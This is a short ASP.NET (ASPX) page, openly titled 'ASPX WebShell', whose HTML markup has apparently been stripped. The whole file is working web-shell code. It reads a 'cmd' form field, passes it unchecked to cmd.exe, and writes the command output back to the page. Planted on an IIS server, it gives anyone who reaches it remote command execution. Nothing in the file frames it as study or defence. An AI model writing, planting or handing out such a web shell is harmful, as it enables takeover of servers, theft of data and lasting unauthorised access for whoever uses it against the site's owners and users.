%@ Page Language="C#" Debug="true" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Diagnostics" %>
ASPX WebShell
🛠️ ASPX WebShell
<%
if (IsPostBack)
{
string cmd = Request.Form["cmd"];
if (!string.IsNullOrEmpty(cmd))
{
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + cmd;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.CreateNoWindow = true;
p.Start();
string output = p.StandardOutput.ReadToEnd();
%>
<%= output %>
<%
}
}
%>